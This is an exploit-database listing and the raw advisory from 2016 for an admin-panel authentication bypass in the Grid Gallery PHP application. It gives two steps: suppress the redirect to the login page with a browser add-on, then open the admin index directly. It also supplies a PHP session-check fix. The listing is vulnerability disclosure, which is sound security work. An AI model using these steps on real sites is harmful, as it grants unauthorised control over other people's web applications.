Grid Gallery 1.0 - Admin panel Authentication bypass

vendor:

Grid Gallery

by:

Ali BawazeEer

7,5

CVSS

HIGH

Authentication bypass

N/A

CWE

Product Name: Grid Gallery

Affected Version From: 1.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2016

Grid Gallery 1.0 – Admin panel Authentication bypass

An Attackers are able to completely compromise the web application built upon Grid Gallery as they can gain access to the admin panel and manage the website as an admin without prior authentication! Step 1: Create a rule in No-Redirect Add-on: ^http://example.com/path/admin/login.php Step 2: Access http://example.com/path/admin/index.php

Mitigation:

session_start(); if (!isset($_SESSION["auth"])) { exit(header('Location: admin/login.php')); }

Source

Exploit-DB raw data:

<!--
# Exploit Title:  Grid Gallery 1.0 - Admin panel Authentication bypass
# Date: 13th June 2016
# Exploit Author: Ali BawazeEer
# Vendor Homepage: http://phpstaff.com.br/
# Version: 2.0

--!>


=======================================================================================================

Grid Gallery 1.0 Admin panel Authentication bypass 

Description : An Attackers are able to completely compromise the web application built upon
Grid Gallery as they can gain access to the admin panel and 
manage the website as an admin without prior authentication!


Step 1: Create a rule in No-Redirect Add-on: ^http://example.com/path/admin/login.php
Step 2: Access http://example.com/path/admin/index.php


Risk : Unauthenticated attackers are able to gain full access to the administrator panel
and thus have total control over the web application, including content change,add admin user .. etc

=======================================================================================================
potential fix 


<?php 
session_start(); 
if (!isset($_SESSION["auth"])) {         
exit(header('Location: admin/login.php')); 
} 

?>


[+] Exploit by: Ali BawazeEer
[+] Twitter:@AlibawazeEer
[+] Linkedin : https://www.linkedin.com/in/AliBawazeEer